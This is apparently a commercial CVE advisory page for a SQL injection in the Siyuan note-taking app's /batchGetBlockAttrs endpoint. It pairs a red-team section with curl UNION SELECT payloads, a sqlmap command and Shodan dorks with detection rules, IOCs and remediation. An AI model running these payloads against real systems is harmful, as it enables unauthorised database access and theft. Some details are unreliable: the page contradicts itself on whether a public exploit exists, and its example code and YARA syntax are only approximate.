☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Siyuan logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-53506

CVE-2024-53506 SQL Injection in Siyuan
📅 PUBLISHED: 2024-11-29 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.44%
👁️
0.44% probability
11.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 3.1.11
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-53506 identifies a critical SQL injection vulnerability in Siyuan version 3.1.11, specifically within the /batchGetBlockAttrs endpoint. The flaw resides in the ids array parameter, which is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability has a CVSS score of 0.0 in the NVD data, but this is likely a placeholder; the actual severity is high due to the ease of exploitation and potential impact. No official patch has been released, and no public exploit code is available, but the attack vector is well-understood.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Siyuan application, which is a self-hosted note-taking and knowledge management system. It is not an NPM, PyPI, Go, or Ruby package, but rather a standalone application. However, users who deploy Siyuan via Docker or other containerized environments should consider the supply chain risk of running an unpatched version. The vulnerability could be exploited to compromise the underlying host if the database is co-located.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, this is likely an error or placeholder. Based on the vulnerability description, a more realistic assessment is:

  • Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full database read access is possible.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the /batchGetBlockAttrs API endpoint, which is designed to retrieve attributes for multiple blocks in a single request. The endpoint accepts a JSON payload with an ids array parameter. The application fails to properly sanitize or parameterize the SQL query when processing this array, allowing an attacker to inject malicious SQL code.

Technical Details:

  • Endpoint: /batchGetBlockAttrs

  • Method: POST

  • Parameter: ids (array of strings)

  • Vulnerable Code Path: The application likely constructs a SQL query like:

    SELECT * FROM blocks WHERE id IN ('id1', 'id2', ...)
    

    Without proper escaping, an attacker can inject a payload such as:

    {"ids": ["1' OR '1'='1", "2"]}
    

    This would result in:

    SELECT * FROM blocks WHERE id IN ('1' OR '1'='1', '2')
    

    Which would return all blocks due to the OR '1'='1' condition.

  • Impact: An attacker can:

    • Extract sensitive data from the database (e.g., user credentials, notes, tokens).
    • Modify or delete data.
    • Potentially execute operating system commands if the database user has sufficient privileges (e.g., xp_cmdshell in SQL Server or COPY ... FROM PROGRAM in PostgreSQL).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable Python example
def batch_get_block_attrs(ids):
    ids_str = "', '".join(ids)
    query = f"SELECT * FROM blocks WHERE id IN ('{ids_str}')"
    cursor.execute(query)

Patched Code (Conceptual):

# Patched Python example using parameterized queries
def batch_get_block_attrs(ids):
    placeholders = ', '.join(['%s'] * len(ids))
    query = f"SELECT * FROM blocks WHERE id IN ({placeholders})"
    cursor.execute(query, ids)

The patched version uses parameterized queries, which ensure that user input is treated as data, not executable code. This prevents SQL injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy Siyuan 3.1.11 in a Docker container:
    docker run -d -p 6806:6806 --name siyuan-vuln b3log/siyuan:3.1.11
    
  2. Access the web interface at http://localhost:6806.

Exploitation Steps:

  1. Identify the vulnerable endpoint by sending a POST request to /batchGetBlockAttrs with a valid payload:
    curl -X POST http://localhost:6806/batchGetBlockAttrs \
      -H "Content-Type: application/json" \
      -d '{"ids": ["test"]}'
    
  2. Inject SQL to extract data. For example, to retrieve all table names (assuming SQLite):
    curl -X POST http://localhost:6806/batchGetBlockAttrs \
      -H "Content-Type: application/json" \
      -d '{"ids": ["1' UNION SELECT name, sql, NULL FROM sqlite_master WHERE type='table'--"]}'
    
  3. Use a tool like sqlmap for automated exploitation:
    sqlmap -u "http://localhost:6806/batchGetBlockAttrs" \
      --data='{"ids": ["1"]}' \
      --batch --dbs
    

Note: No public exploit code is available, but the above manual technique is sufficient.

Blue Team (Defensive)

Detection:

  • Monitor for unusual POST requests to /batchGetBlockAttrs with JSON payloads containing SQL keywords (e.g., UNION, SELECT, OR).
  • Look for error messages in logs that indicate SQL syntax errors.
  • Use a Web Application Firewall (WAF) to block common SQL injection patterns.

Mitigation:

  • Immediately upgrade to a patched version if available.
  • If no patch exists, implement a virtual patch by blocking the endpoint or adding input validation.
  • Use parameterized queries in the application code.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /batchGetBlockAttrs with JSON payloads containing SQL keywords.
    • Unusual database error messages in HTTP responses (e.g., SQLite::SQLException).
  • File IOCs:
    • Modified database files (e.g., siyuan.db) with unexpected entries.
  • Log IOCs:
    • Application logs showing SQL syntax errors or unexpected query patterns.

Detection Engineering

YARA Rule

rule CVE_2024_53506_SQLi_Siyuan {
    meta:
        description = "Detects SQL injection attempts against Siyuan /batchGetBlockAttrs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53506"
    strings:
        $sqli1 = /UNION\s+SELECT/i
        $sqli2 = /OR\s+'1'='1/i
        $sqli3 = /OR\s+1=1/i
        $sqli4 = /--\s*$/m
        $sqli5 = /';\s*DROP\s+TABLE/i
    condition:
        any of ($sqli*) and
        #content_type == "application/json"
}

Sigma Rule

title: SQL Injection Attempt Against Siyuan /batchGetBlockAttrs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in POST requests to Siyuan's batchGetBlockAttrs endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: "/batchGetBlockAttrs"
        http.content_type: "application/json"
    keywords:
        - "UNION SELECT"
        - "OR '1'='1"
        - "OR 1=1"
        - "DROP TABLE"
        - "';"
    condition: selection and keywords
falsepositives:
    - Legitimate use of these strings in block IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-53506 SQL Injection Attempt Against Siyuan /batchGetBlockAttrs";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/batchGetBlockAttrs"; http_uri;
    content:"application/json"; http_content_type;
    pcre:"/(UNION\s+SELECT|OR\s+'1'='1|OR\s+1=1|DROP\s+TABLE|';)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-53506;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the vulnerable system from the internet if possible.
  2. Implement a WAF rule to block SQL injection patterns at the perimeter.
  3. Disable the /batchGetBlockAttrs endpoint if not essential.

Long-term Fix:

  • Upgrade Siyuan to a patched version once available.
  • Apply input validation to ensure the ids array contains only expected characters (e.g., alphanumeric and hyphens).
  • Use parameterized queries in the application code to prevent SQL injection.

Workaround:

  • If patching is not possible, consider using a reverse proxy (e.g., Nginx) to block requests to the vulnerable endpoint:
    location /batchGetBlockAttrs {
        deny all;
        return 403;
    }
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

siyuan
siyuan note
siyuan api

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-53506/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.